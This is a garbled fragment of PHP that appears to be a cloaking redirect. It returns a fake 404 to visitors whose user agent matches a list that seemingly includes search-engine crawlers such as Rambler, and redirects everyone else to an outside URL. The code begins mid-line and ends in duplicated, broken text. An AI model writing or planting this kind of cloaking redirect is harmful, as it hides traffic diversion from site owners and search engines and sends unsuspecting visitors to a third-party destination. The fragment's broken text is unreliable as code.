dex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } $url = 'https://ois.is/images/logo.png'; echo ""; echo ""; header("Location: $url"); ?> ?>ation: $url"); ?>